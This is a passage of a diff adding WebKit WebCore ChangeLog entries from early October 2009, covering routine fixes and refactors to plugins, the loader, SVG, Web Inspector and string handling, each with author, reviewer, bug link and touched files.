+        (WebCore::ImageLoader::notifyFinished):
+        (WebCore::ImageLoader::dispatchPendingBeforeLoadEvent):
+        (WebCore::ImageLoader::dispatchPendingEvents):
+        (WebCore::ImageEventSender::ImageEventSender):
+        (WebCore::ImageEventSender::dispatchEventSoon):
+        (WebCore::ImageEventSender::cancelEvent):
+        (WebCore::ImageEventSender::dispatchPendingEvents):
+        (WebCore::ImageEventSender::timerFired):
+        * loader/ImageLoader.h:
+        (WebCore::ImageLoader::haveFiredBeforeLoadEvent):
+        * wml/WMLImageElement.cpp:
+        (WebCore::WMLImageElement::attach):
+
+2009-10-09  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Web Inspector: Wrap Database into ScriptObject in v8 bindings.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30174
+
+        No tests due to no Script* test infrastructure.
+
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+
+2009-10-09  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless Plugins : Fix crash when using QWebPage without QWebView.
+        
+        'client' is 0 when we have no view.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30251
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::paint):
+
+2009-10-09  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Plugins : Add missing setCurrentPlugin(0)
+
+        https://bugs.webkit.org/show_bug.cgi?id=30248
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::dispatchNPEvent):
+
+2009-10-09  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] beforeload event does not fire on script elements in XML
+        https://bugs.webkit.org/show_bug.cgi?id=30235
+
+        r49194 was lacking a change to XMLTokenizerQt.cpp, equivalent to the one
+        made in XMLTokenizerLibxml2.cpp.
+
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::parseEndElement):
+
+2009-10-09  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's CSSParserValueList
+        https://bugs.webkit.org/show_bug.cgi?id=30249
+
+        Inherits CSSParserValueList class from FastAllocBase because it has 
+        been instantiated by 'new' in WebCore/css/CSSGrammar.y:1271.
+
+        * css/CSSParserValues.h:
+
+2009-10-09  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless Plugins : Create Pixmap only when size changes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30214
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+
+2009-10-08  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Remove the WebKitPluginHalterEnabledPreferenceKey in favor of checking
+        for the existence of a PluginHalterDelegate.
+
+        This fixes a leak of WebPluginHalterClients:
+        https://bugs.webkit.org/show_bug.cgi?id=30119.
+
+        Reviewed by Dan Bernstein.
+
+        * WebCore.base.exp:
+        Removed the export of WebCore::Settings::setPluginHalterEnabled().
+
+        * loader/EmptyClients.h:
+        (WebCore::EmptyPluginHalterClient::enabled):
+
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        Remove initialization of m_pluginHalterClient, which was removed. If a
+        non-null PluginHalterClient was passed, create the PluginHalter, and
+        set its allowed run time.
+
+        * page/Page.h:
+        Removed pluginHalterEnabledStateChanged() and m_pluginHalterClient.
+
+        * page/PluginHalter.cpp:
+        (WebCore::PluginHalter::didStartPlugin):
+        Check whether the PluginHalterClient is enabled.
+        (WebCore::PluginHalter::didStopPlugin):
+        Ditto.
+
+        * page/PluginHalter.h:
+        Made m_client an OwnPtr.
+
+        * page/PluginHalterClient.h:
+        Added a function to return the enabled state.
+
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        Remove initialization of removed member.
+
+        * page/Settings.h:
+        Removed settings for the enabled state of the PluginHalter; we now use
+        the existence of a WebPluginHalterDelegate to determine whether the
+        PluginHalter is enabled.
+
+2009-10-08  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move executeScript from FrameLoader to ScriptController
+        https://bugs.webkit.org/show_bug.cgi?id=30200
+
+        These methods have virtually no interaction with FrameLoader.  They
+        really seem like they ought to belong to ScriptController.
+
+        * WebCore.base.exp:
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::executeScript):
+        (WebCore::ScriptController::executeIfJavaScriptURL):
+        (WebCore::ScriptController::evaluate):
+        * bindings/js/ScriptController.h:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::executeScript):
+        (WebCore::ScriptController::executeIfJavaScriptURL):
+        * bindings/v8/ScriptController.h:
+        * dom/XMLTokenizer.cpp:
+        (WebCore::XMLTokenizer::notifyFinished):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::endElementNs):
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::parseEndElement):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::scriptExecution):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::changeLocation):
+        (WebCore::FrameLoader::urlSelected):
+        (WebCore::FrameLoader::requestFrame):
+        (WebCore::FrameLoader::submitForm):
+        (WebCore::FrameLoader::replaceDocument):
+        * loader/FrameLoader.h:
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::performRequest):
+
+2009-10-08  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: added missing #include.
+
+        * ForwardingHeaders/runtime/StructureChain.h: Copied from WebCore/ForwardingHeaders/runtime/PropertyNameArray.h.
+
+2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30237>.
+        DOM Content and Load lines aren't shown if a page is loaded when the inspector is up.
+        
+        Make sure to call update script object if we have an InspectorFrontend to
+        call it on when we get one of the new events.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::mainResourceFiredDOMContentEvent):
+        (WebCore::InspectorController::mainResourceFiredLoadEvent):
+
+2009-10-08  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: updated for removal of Structure::markAggregate().
+
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::markChildren):
+
+2009-10-08  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Make AtomicString create its StringImpl via create(), not the constructor,
+        so it gets allocated in a single heap block, saving memory and CPU cycles.
+        This eliminates two StringImpl constructors, making the remaining ones
+        unambiguous, so the "AdoptBuffer" parameter is no longer needed.
+        Added const attribute to UChar* in StringImpl constructor, eliminating the
+        need for several const_casts in calls to it.
+        StringImpl also unfriends AtomicString (OMG drama!!!)
+        https://bugs.webkit.org/show_bug.cgi?id=30141
+
+        * platform/text/AtomicString.cpp:
+        (WebCore::CStringTranslator::translate): Call StringImpl::create().
+        (WebCore::UCharBufferTranslator::translate): Ditto.
+        (WebCore::HashAndCharactersTranslator::translate): Ditto.
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl): Remove unnecessary AdoptBuffer param.
+        (WebCore::StringImpl::adopt): Ditto.
+        (WebCore::StringImpl::createUninitialized): Ditto.
+        (WebCore::StringImpl::create): Ditto.
+        (WebCore::StringImpl::crossThreadString): Ditto.
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::setHash): Used by AtomicString when creating StringImpls.
+
+2009-10-08  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Remove the shouldLoadMediaElementURL frame loader client function.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::willLoadMediaElementURL):
+
+2009-10-08  John Gregg  <johnnyg@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        SVGURIReference Build problem for V8.  An additional stale reference to SVGURIReference bindings
+        which wasn't exposed until a clean build.
+        https://bugs.webkit.org/show_bug.cgi?id=30217
+
+        No new tests, just a build fix.
+
+        * bindings/v8/V8Index.cpp:
+
+2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Sort XCode project file.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-10-08  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        unselectable resources in resource panel
+        https://bugs.webkit.org/show_bug.cgi?id=30079
+
+        manual test added
+        
+        Also changed the way DnD for resources in the Resources panel is 
+        handled.
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.onattach):
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondragstart):
+        * manual-tests/inspector/duplicate-resource-urls.html: Added.
+
+2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/30233>
+        Local Storage and Cookies show Blank Titles on Local Files.
+
+        If a local storage or cookies sidebar item has no domain, set the 
+        title to "Local Files", because that is what it represents.
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.DOMStorageSidebarTreeElement.prototype.get mainTitle):
+        (WebInspector.CookieSidebarTreeElement.prototype.get mainTitle):
+        (WebInspector.CookieSidebarTreeElement.prototype.set mainTitle):
+
+2009-10-08  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix failing media layout tests.  Don't make beforeload block loads of objects that aren't in the
+        document, since video/audio (and images eventually too) can load when not in the document yet.
+
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::dispatchBeforeLoadEvent):
+
+2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        Move SVGFitToViewBox ANIMATED_* macros in classes that inherit from it
+        https://bugs.webkit.org/show_bug.cgi?id=30230
+
+        This patch also devirtualizes viewBoxToViewTransform(), is it's superflous.
+        viewBoxToViewTransform() is now a simple static heper function in SVGFitToViewBox.
+        As a result, the SVGSVGElement::viewBoxToViewTransform() function now resuses the same logic.
+
+        As side-effect this patch fixes svg/custom/linking-a-03-b-transform.svg, the return
+        statement in SVGSVGElement::viewBoxToViewTransform() was clearly wrong.
+
+        * svg/SVGFitToViewBox.cpp:
+        (WebCore::SVGFitToViewBox::SVGFitToViewBox):
+        (WebCore::SVGFitToViewBox::viewBoxToViewTransform):
+        * svg/SVGFitToViewBox.h:
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::SVGMarkerElement):
+        (WebCore::SVGMarkerElement::viewBoxToViewTransform):
+        * svg/SVGMarkerElement.h:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::SVGPatternElement):
+        (WebCore::SVGPatternElement::buildPattern):
+        * svg/SVGPatternElement.h:
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::SVGSVGElement):
+        (WebCore::SVGSVGElement::viewBoxToViewTransform):
+        * svg/SVGSVGElement.h:
+        * svg/SVGSymbolElement.cpp:
+        (WebCore::SVGSymbolElement::SVGSymbolElement):
+        * svg/SVGSymbolElement.h:
+        * svg/SVGViewElement.cpp:
+        (WebCore::SVGViewElement::SVGViewElement):
+        * svg/SVGViewElement.h:
+        * svg/SVGViewSpec.cpp:
+        (WebCore::SVGViewSpec::SVGViewSpec):
+        * svg/SVGViewSpec.h:
+
+2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Correct a typo that fixes the resizing of columns in Cookie view when you
+        resize the Inspector window.
+
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView.prototype.resize):
+
+2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=29811>
+        Text in Inspector's Styles gear menu is invisible.
+        
+        Adds a style rule for the option text and hr's in the gear menu,
+        to prevent them from being transparent.
+
+        * inspector/front-end/inspector.css:
+
+2009-10-08  John Gregg  <johnnyg@google.com>
+
+        Reviewed by David Levin.
+
+        Fix build problem with SVGURIReference in V8.
+        https://bugs.webkit.org/show_bug.cgi?id=30217
+
+        No new tests, just a build fix.
+
+        * WebCore.gypi:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+
+2009-10-07  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Eric Carlson.
+
+        Make beforeload work on <video>/<audio> elements.
+
+        Added fast/dom/beforeload/video-before-load.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::parseMappedAttribute):
+        (WebCore::HTMLMediaElement::selectMediaResource):
+        (WebCore::HTMLMediaElement::selectNextSourceChild):
+
+2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        Move SVGExternalResourcesRequired ANIMATED_* macros in classes that inherit from it
+        https://bugs.webkit.org/show_bug.cgi?id=30218
+
+        The long term goal is to kill the need for the virtual contextElement() function in SVG code. 
+        No change in functionality, thus no new tests.
+
+        * svg/SVGAElement.cpp:
+        (WebCore::SVGAElement::SVGAElement):
+        * svg/SVGAElement.h:
+        * svg/SVGAnimationElement.cpp:
+        (WebCore::SVGAnimationElement::SVGAnimationElement):
+        * svg/SVGAnimationElement.h:
+        * svg/SVGCircleElement.cpp:
+        (WebCore::SVGCircleElement::SVGCircleElement):
+        * svg/SVGCircleElement.h:
+        * svg/SVGClipPathElement.cpp:
+        (WebCore::SVGClipPathElement::SVGClipPathElement):
+        * svg/SVGClipPathElement.h:
+        * svg/SVGCursorElement.cpp:
+        (WebCore::SVGCursorElement::SVGCursorElement):
+        * svg/SVGCursorElement.h:
+        * svg/SVGDefsElement.cpp:
+        (WebCore::SVGDefsElement::SVGDefsElement):
+        * svg/SVGDefsElement.h:
+        * svg/SVGEllipseElement.cpp:
+        (WebCore::SVGEllipseElement::SVGEllipseElement):
+        * svg/SVGEllipseElement.h:
+        * svg/SVGExternalResourcesRequired.cpp:
+        (WebCore::SVGExternalResourcesRequired::SVGExternalResourcesRequired):
+        * svg/SVGExternalResourcesRequired.h:
+        * svg/SVGFEImageElement.cpp:
+        (WebCore::SVGFEImageElement::SVGFEImageElement):
+        * svg/SVGFEImageElement.h:
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::SVGFilterElement):
+        * svg/SVGFilterElement.h:
+        * svg/SVGFontElement.cpp:
+        (WebCore::SVGFontElement::SVGFontElement):
+        * svg/SVGFontElement.h:
+        * svg/SVGForeignObjectElement.cpp:
+        (WebCore::SVGForeignObjectElement::SVGForeignObjectElement):
+        * svg/SVGForeignObjectElement.h:
+        * svg/SVGGElement.cpp:
+        (WebCore::SVGGElement::SVGGElement):
+        * svg/SVGGElement.h:
+        * svg/SVGGradientElement.cpp:
+        (WebCore::SVGGradientElement::SVGGradientElement):
+        * svg/SVGGradientElement.h:
+        * svg/SVGImageElement.cpp:
+        (WebCore::SVGImageElement::SVGImageElement):
+        * svg/SVGImageElement.h:
+        * svg/SVGLineElement.cpp:
+        (WebCore::SVGLineElement::SVGLineElement):
+        * svg/SVGLineElement.h:
+        * svg/SVGMPathElement.cpp:
+        (WebCore::SVGMPathElement::SVGMPathElement):
+        * svg/SVGMPathElement.h:
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::SVGMarkerElement):
+        * svg/SVGMarkerElement.h:
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::SVGMaskElement):
+        * svg/SVGMaskElement.h:
+        * svg/SVGPathElement.cpp:
+        (WebCore::SVGPathElement::SVGPathElement):
+        * svg/SVGPathElement.h:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::SVGPatternElement):
+        * svg/SVGPatternElement.h:
+        * svg/SVGPolyElement.cpp:
+        (WebCore::SVGPolyElement::SVGPolyElement):
+        * svg/SVGPolyElement.h:
+        * svg/SVGRectElement.cpp:
+        (WebCore::SVGRectElement::SVGRectElement):
+        * svg/SVGRectElement.h:
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::SVGSVGElement):
+        * svg/SVGSVGElement.h:
+        * svg/SVGScriptElement.cpp:
+        (WebCore::SVGScriptElement::SVGScriptElement):
+        * svg/SVGScriptElement.h:
+        * svg/SVGSwitchElement.cpp:
+        (WebCore::SVGSwitchElement::SVGSwitchElement):
+        * svg/SVGSwitchElement.h:
+        * svg/SVGSymbolElement.cpp:
+        (WebCore::SVGSymbolElement::SVGSymbolElement):
+        * svg/SVGSymbolElement.h:
+        * svg/SVGTextContentElement.cpp:
+        (WebCore::SVGTextContentElement::SVGTextContentElement):
+        * svg/SVGTextContentElement.h:
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::SVGUseElement):
+        * svg/SVGUseElement.h:
+        * svg/SVGViewElement.cpp:
+        (WebCore::SVGViewElement::SVGViewElement):
+        * svg/SVGViewElement.h:
+
+2009-10-08  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        SVG feComposite: operator over mixes up inputs
+        [https://bugs.webkit.org/show_bug.cgi?id=30205]
+
+        SVG feComposite operator over mixed up the inputs.
+        The pixel-test svg/filters/feComposite.svg can already test this.
+        No new test result is needed as long as filters are disabled.
+
+        * platform/graphics/filters/FEComposite.cpp:
+        (WebCore::FEComposite::apply):
+
+2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by George Staikos.
+
+        Move SVGURIReference ANIMATED_* macros in classes that inherit from it
+        https://bugs.webkit.org/show_bug.cgi?id=30184
+
+        The long term goal is to kill the need for the virtual contextElement() function in SVG code. 
+        No change in functionality, thus no new tests.
+
+        * svg/SVGAElement.cpp:
+        (WebCore::SVGAElement::SVGAElement):
+        * svg/SVGAElement.h:
+        * svg/SVGAltGlyphElement.cpp:
+        (WebCore::SVGAltGlyphElement::SVGAltGlyphElement):
+        * svg/SVGAltGlyphElement.h:
+        * svg/SVGCursorElement.cpp:
+        (WebCore::SVGCursorElement::SVGCursorElement):
+        * svg/SVGCursorElement.h:
+        * svg/SVGFEImageElement.cpp:
+        (WebCore::SVGFEImageElement::SVGFEImageElement):
+        * svg/SVGFEImageElement.h:
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::SVGFilterElement):
+        * svg/SVGFilterElement.h:
+        * svg/SVGForeignObjectElement.cpp:
+        (WebCore::SVGForeignObjectElement::SVGForeignObjectElement):
+        * svg/SVGForeignObjectElement.h:
+        * svg/SVGGradientElement.cpp:
+        (WebCore::SVGGradientElement::SVGGradientElement):
+        * svg/SVGGradientElement.h:
+        * svg/SVGImageElement.cpp:
+        (WebCore::SVGImageElement::SVGImageElement):
+        * svg/SVGImageElement.h:
+        * svg/SVGMPathElement.cpp:
+        (WebCore::SVGMPathElement::SVGMPathElement):
+        (WebCore::SVGMPathElement::pathElement):
+        * svg/SVGMPathElement.h:
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::SVGMaskElement):
+        * svg/SVGMaskElement.h:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::SVGPatternElement):
+        * svg/SVGPatternElement.h:
+        * svg/SVGScriptElement.cpp:
+        (WebCore::SVGScriptElement::SVGScriptElement):
+        * svg/SVGScriptElement.h:
+        * svg/SVGTRefElement.cpp:
+        (WebCore::SVGTRefElement::SVGTRefElement):
+        * svg/SVGTRefElement.h:
+        * svg/SVGTextPathElement.cpp:
+        (WebCore::SVGTextPathElement::SVGTextPathElement):
+        * svg/SVGTextPathElement.h:
+        * svg/SVGURIReference.cpp:
+        (WebCore::SVGURIReference::SVGURIReference):
+        * svg/SVGURIReference.h:
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::SVGUseElement):
+        * svg/SVGUseElement.h:
+
+2009-10-08  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Re-add the QApplication::syncX() line for plugin windows removed
+        by r49169. Also changed the location of the sync just after the
+        creation instead of just before sending it to the plugin.
+        https://bugs.webkit.org/show_bug.cgi?id=25053
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::platformStart):
+
+2009-10-08  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: NodeLists Don't Display Well in the Console
+        https://bugs.webkit.org/show_bug.cgi?id=28061
+
+        * inspector/front-end/InjectedScript.js:
+        (Object.type):
+
+2009-10-08  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless plugins: Remove unnecessary XSync for opaque mode.
+        
+        The reason for the XSync was that the plugin would not know about the
+        Drawable. It turns out that the real reason behind this is that even
+        though XCreatePixmap returns a handle, this id is unknown to the server
+        until we flush the connection.
+        
+        So, move the XSync to right after we create the Pixmap.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30207
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paint):
+
+2009-10-07  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30188
+        
+        Fixes an issue where performing a non DHTML drag-and-drop operation 
+        does not work as expected. For instance, dragging some selected text 
+        to an external application, such as TextEdit.
+        
+        This issue was a regression that arose from patching bug #30107.
+        
+        This change is covered by the manual test: 
+        drag-out-of-background-window.html
+
+        * page/DragController.cpp:
+        (WebCore::DragController::startDrag): When performing a non-DHTML drag 
+        operation then default to drag operations DragOperationGeneric and 
+        DragOperationCopy according to similar functionality removed when fixing
+        bug #30107, see: 
+        http://trac.webkit.org/browser/trunk/WebKit/mac/WebView/WebHTMLView.mm?rev=48526#L3430 
+
+2009-10-07  Xan Lopez  <xlopez@igalia.com>
+
+        Fix more breakage in the GTKbuild.
+
+        * GNUmakefile.am:
+
+2009-10-07  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move PolicyChecker to it's own file
+        https://bugs.webkit.org/show_bug.cgi?id=30193
+
+        This is just moving code around and re-naming things.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * loader/PolicyCallback.cpp: Added.
+        (WebCore::PolicyCallback::PolicyCallback):
+        (WebCore::PolicyCallback::~PolicyCallback):
+        (WebCore::PolicyCallback::clear):
+        (WebCore::PolicyCallback::set):
+        (WebCore::PolicyCallback::call):
+        (WebCore::PolicyCallback::clearRequest):
+        (WebCore::PolicyCallback::cancel):
+        * loader/PolicyCallback.h: Added.
+        (WebCore::PolicyCallback::request):
+        * loader/PolicyCheck.cpp: Removed.
+        * loader/PolicyCheck.h: Removed.
+
+2009-10-07  Joel Stanley  <joel@jms.id.au>
+
+        Reviewed by Mark Rowe.
+
+        Include <limits> for std::numeric_limits.  Required by gcc-4.4
+        https://bugs.webkit.org/show_bug.cgi?id=30197
+
+        * html/canvas/CanvasByteArray.h:
+        * html/canvas/CanvasIntArray.h:
+        * html/canvas/CanvasShortArray.h:
+        * html/canvas/CanvasUnsignedByteArray.h:
+        * html/canvas/CanvasUnsignedIntArray.h:
+        * html/canvas/CanvasUnsignedShortArray.h:
+
+2009-10-07  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Factor PolicyChecker out of FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30155
+
+        This patch separates PolicyChecker from FrameLoader.  Loader policy is
+        in change of managing the FrameLoaderClient callbacks.  Ideally, it
+        shouldn't know anything about FrameLoader, but I couldn't quite remove
+        all knowledge (although we might be able to do more later).  In a
+        future patch, I'll move PolicyChecker into a separate file.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::loadURL):
+        (WebCore::FrameLoader::load):
+        (WebCore::FrameLoader::loadWithDocumentLoader):
+        (WebCore::PolicyChecker::handleUnimplementablePolicy):
+        (WebCore::PolicyChecker::cannotShowMIMEType):
+        (WebCore::PolicyChecker::PolicyChecker):
+        (WebCore::PolicyChecker::checkNavigationPolicy):
+        (WebCore::PolicyChecker::checkContentPolicy):
+        (WebCore::FrameLoader::shouldReloadToHandleUnreachableURL):
+        (WebCore::FrameLoader::stopAllLoaders):
+        (WebCore::PolicyChecker::cancelCheck):
+        (WebCore::PolicyChecker::stopCheck):
+        (WebCore::PolicyChecker::continueAfterContentPolicy):
+        (WebCore::PolicyChecker::continueLoadAfterWillSubmitForm):
+        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
+        (WebCore::FrameLoader::loadPostRequest):
+        (WebCore::FrameLoader::continueFragmentScrollAfterNavigationPolicy):
+        (WebCore::PolicyChecker::checkNewWindowPolicy):
+        (WebCore::PolicyChecker::continueAfterNewWindowPolicy):
+        (WebCore::PolicyChecker::continueAfterNavigationPolicy):
+        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
+        * loader/FrameLoader.h:
+        (WebCore::PolicyChecker::loadType):
+        (WebCore::PolicyChecker::setLoadType):
+        (WebCore::PolicyChecker::delegateIsDecidingNavigationPolicy):
+        (WebCore::PolicyChecker::delegateIsHandlingUnimplementablePolicy):
+        (WebCore::FrameLoader::policy):
+        * loader/FrameLoaderClient.h:
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::didCancel):
+        (WebCore::MainResourceLoader::willSendRequest):
+        (WebCore::MainResourceLoader::continueAfterContentPolicy):
+        (WebCore::MainResourceLoader::didReceiveResponse):
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::dataChanged):
+
+2009-10-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed <rdar://problem/5751979> Database code takes JSLock on secondary
+        thread, permanently slowing down JavaScript
+
+        Changed callback objects to use a standard helper object. The helper
+        object ASSERTs that it is deleted on the main thread, so no lock is
+        required when unprotecting its members. It also centralizes some previously
+        duplicated code.
+        
+        Callback objects that might be deleted on a secondary thread use
+        callOnMainThread to delete their helper objects on the main thread.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSCallbackData.cpp: Copied from bindings/js/JSCustomSQLTransactionCallback.cpp.
+        (WebCore::JSCallbackData::deleteData):
+        (WebCore::JSCallbackData::invokeCallback):
+        * bindings/js/JSCallbackData.h: Copied from bindings/js/JSCustomSQLTransactionCallback.cpp.
+        (WebCore::JSCallbackData::JSCallbackData):
+        (WebCore::JSCallbackData::~JSCallbackData):
+        (WebCore::JSCallbackData::callback):
+        * bindings/js/JSCustomPositionCallback.cpp:
+        (WebCore::JSCustomPositionCallback::JSCustomPositionCallback):
+        (WebCore::JSCustomPositionCallback::handleEvent):
+        * bindings/js/JSCustomPositionCallback.h:
+        * bindings/js/JSCustomPositionErrorCallback.cpp:
+        (WebCore::JSCustomPositionErrorCallback::JSCustomPositionErrorCallback):
+        (WebCore::JSCustomPositionErrorCallback::handleEvent):
+        * bindings/js/JSCustomPositionErrorCallback.h:
+        * bindings/js/JSCustomSQLStatementCallback.cpp:
+        (WebCore::JSCustomSQLStatementCallback::JSCustomSQLStatementCallback):
+        (WebCore::JSCustomSQLStatementCallback::~JSCustomSQLStatementCallback):
+        (WebCore::JSCustomSQLStatementCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementCallback.h:
+        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
+        (WebCore::JSCustomSQLStatementErrorCallback::JSCustomSQLStatementErrorCallback):
+        (WebCore::JSCustomSQLStatementErrorCallback::~JSCustomSQLStatementErrorCallback):
+        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementErrorCallback.h:
+        * bindings/js/JSCustomSQLTransactionCallback.cpp:
+        (WebCore::JSCustomSQLTransactionCallback::JSCustomSQLTransactionCallback):
+        (WebCore::JSCustomSQLTransactionCallback::~JSCustomSQLTransactionCallback):
+        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionCallback.h:
+        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
+        (WebCore::JSCustomSQLTransactionErrorCallback::JSCustomSQLTransactionErrorCallback):
+        (WebCore::JSCustomSQLTransactionErrorCallback::~JSCustomSQLTransactionErrorCallback):
+        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionErrorCallback.h:
+        * bindings/js/JSCustomVoidCallback.cpp:
+        (WebCore::JSCustomVoidCallback::JSCustomVoidCallback):
+        (WebCore::JSCustomVoidCallback::~JSCustomVoidCallback):
+        (WebCore::JSCustomVoidCallback::handleEvent):
+        * bindings/js/JSCustomVoidCallback.h:
+        * storage/Database.cpp:
+        (WebCore::Database::Database):
+
+2009-10-07  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dave Levin.
+
+        Fix StringImpl::m_buffer
+        https://bugs.webkit.org/show_bug.cgi?id=30189
+
+        Fix my previous StringImpl patch to avoid using an indefinite-length array member,
